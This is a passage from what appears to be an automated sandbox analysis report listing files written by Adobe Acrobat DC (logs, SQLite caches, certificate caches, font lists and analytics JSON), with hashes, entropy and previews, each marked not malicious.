Preview:	2025/01/10-14:03:05.166 1248 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:03:05.167 1248 Recovering log #3.2025/01/10-14:03:05.168 1248 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.18249617267958
Encrypted:	false
SSDEEP:	6:iO4fZr3+q2PqLTwi2nKuAl9OmbzNMxIFUtSfuZmwsfLVkwOqLTwi2nKuAl9OmbzE:70ZrOv8wZHAa8jFUtWu/IR5TwZHAa84J
MD5:	1F59D0F3CB9322DFDB4A275E0815226A
SHA1:	43FB7A3F39C201961ABB2B04FE2F4836A69A4E67
SHA-256:	3C69684F7FC4449EE2BDE8B4048684209A66138660FBDA87352DFBAB2A11802E
SHA-512:	28147C0F2AB01B29AACE8F190997F5FC23BCAEB47EFA5184E22ED193A81C79ABAC8AEDCB54C69FA225CE422FD21B10AD611310D351A69C183AAF8E9857FCEAB4
Malicious:	false
Preview:	2025/01/10-14:03:05.166 1248 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:03:05.167 1248 Recovering log #3.2025/01/10-14:03:05.168 1248 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438295467507727
Encrypted:	false
SSDEEP:	384:ye+ci5GIiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pkurVgazUpUTTGt
MD5:	70D235374DABED1DBDB31357A864037C
SHA1:	1106D3D0FFA1CDA200CD860E55D54DD8EC75FED2
SHA-256:	806D3E5037046A41BD62AD7F3CE0A2AE6089F38A216A1F4FCB634BA0BC16ED54
SHA-512:	15E3C0825EB781A18256EE0C2FE2AAB6CDCB6557ABDF36415D5610DCD5E6D0F83361053949EC1F73E2C805A54F609C3F9CC36990B5A52F1D62A9BA8F945CCB6F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7680488466834934
Encrypted:	false
SSDEEP:	48:7MiJioyVrioyOoy1C7oy16oy1lKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Oz:7NJurqMXjBi4Lb9IVXEBodRBkV
MD5:	095FA571E01E2424AECCAF101245FF60
SHA1:	119F25D37B62338D54C2E67A3735FA2D230B70A7
SHA-256:	F116B0714AD09053DC2989BD0A5E5238CE6906957E411C90206513D0ACD4BEDB
SHA-512:	BE593E9158143FAB04E44DE7D19470F63D520CCA7F39C77228DAB8485E06A5EBF5EABC8542A32BB9598B18BFAB37436726AD41DBE400DB2DA58D667E42749710
Malicious:	false
Preview:	.... .c.....V.~>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFkl3yGbNl/tfllXlE/HT8khJXNNX8RolJuRdxLlGB9lQRYwpDdt:kKKNl/eT8GNMa8RdWBwRd
MD5:	372C736712F93B6BFBEAFC34409561B6
SHA1:	CA297C35943ACB637536E1B30C170D0DD631D36F
SHA-256:	6AFB5239715AB64408FB5ECE6D694360B8D1B1EEB093CE5F522405DE2D42F397
SHA-512:	0AA484764E87158BCB64C8DF71763CCA578ADEDEFEF5B405B4CD06DA1C46453FB0519692092468456BE6F28FEFD19C4C112D4CB837739B6D202A286E0E318974
Malicious:	false
Preview:	p...... ..........}K.c..(....................................................... ..........W....4...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1265519954625014
Encrypted:	false
SSDEEP:	6:kKfy/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:SiDnLNkPlE99SNxAhUe/3
MD5:	50C93076A77A738C56BF07C7C7EFC273
SHA1:	2A0958FB4F2CE1436FEA4C8A50A9F0EFFB2B91D3
SHA-256:	5B9A6DA8F5BF0F1B91FAC689A6E508BA70CE9B9E8F7E6DF616BE0EAD067CF9B8
SHA-512:	D64A02249029C0D6F795A540B3FB8E0D723FCAE3A0B164128A58987AF339CA90979C04594484DEB4F8A3CD1A36B6235EC592A00CA8B974054B398F7A1374482F
Malicious:	false
Preview:	p...... ..........o.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5500

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5500

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.381735727643402
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJM3g98kUwPeUkwRe9:YvXKXOSofVrT5LjIPC5GMbLUkee9
MD5:	CFF06858E5F0AA37406601E555C147B4
SHA1:	DD40B21AF9285E43EA1E24AE8265236A4B86BE21
SHA-256:	5BB2BDDEA4DF32C4137150CFB53DEF5781F741C2D83B1A8AD538C9E08DB31B41
SHA-512:	CC62CADEBA36461D534241D174022E98A280340D36B4BB75F3211C18828C262C7199563FD6AEBAAEE74C1126F07B5E14CBA847238ACBB089C44622798AAFF1EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.333952759746612
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJfBoTfXpnrPeUkwRe9:YvXKXOSofVrT5LjIPC5GWTfXcUkee9
MD5:	59E659B76489EE63830CC2C8E4D2FC04
SHA1:	42F77A30CB7636D825B7F870E1E714938FA8CFAA
SHA-256:	C31A49C0D077757A707594CBA5A7B3527CBE20EDF62DF689258F059E80AA0DBA
SHA-512:	A1B098256BD7C06A45B44F807004DB176C2166BD9B965E49141234CFDB9707947BA92380B69F8AEBA20A70920D18161E4CCF699F3E47BDC9EF9046D227906B49
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.31265897397349
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJfBD2G6UpnrPeUkwRe9:YvXKXOSofVrT5LjIPC5GR22cUkee9
MD5:	89D0A3A7EE2FF91F170D2D0B8D8C3767
SHA1:	8919F46F968012585CB22B982E50DFF485AD370C
SHA-256:	34D5C4299FC6B858D62BD3D49A1D47108E0F6C82583946E729208FD99DEEDE2A
SHA-512:	B55614ED1911CB8F88C94E341C3AD4BB51467D8A4C4EA36814E9B54EFB5D2586E140B46D651E6980E53A5519C963BB9C326468FAC3FE55EB7843452807756ABB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.363382403757449
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJfPmwrPeUkwRe9:YvXKXOSofVrT5LjIPC5GH56Ukee9
MD5:	FF8BC65913264108E927E86D5497478E
SHA1:	99BDEF259BCEEDB9118A110C93FD3435E40FA1AD
SHA-256:	746BA4C17E261F280AE5C03C548E5F7D3E10C65FF3877FC55FF4286F60325591
SHA-512:	42AF3089D8B196728A5F685696F017315E8BAB7A6091551299B58E77A8E64E138F4A85981E95ECEDE253FAB2D6CD829A361336BC8F1A2D712477DE400A407A14
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.697273853280603
Encrypted:	false
SSDEEP:	24:Yv6XOSofVrT5XIaepLgE9cQx8LennAvzBvkn0RCmK8czOCCSq:Yv7LbX8hgy6SAFv5Ah8cv/q
MD5:	C4B4AB604DF0BFD3E989FEAE4C1A04AC
SHA1:	67F95686AAF414405131A02D2B9EEA6D14AF46DA
SHA-256:	3DB71E2B5764AA823E508AD5AB8B6D69AC0337B4852470D2812280F1E9FBB556
SHA-512:	9D198684D0CF5CABECD09DFB486FFB15D1AD22D607BE09DE06B789BA5C6DA152A1CB5DD51A9CD77C28A6BAF2ECCAF154CC271368C4D434222E3365E568777516
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.337413671236176
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJf8dPeUkwRe9:YvXKXOSofVrT5LjIPC5GU8Ukee9
MD5:	09EC065AFC43C4F6F7D1C2A0C11FAA84
SHA1:	7E4065BAE3DFE98C97AFCC37BD09E332BE74ED24
SHA-256:	7CBDCC6BC063D78CCE2DC57B93F6B647A5C57CE08FD11505738814E3ABE7E54E
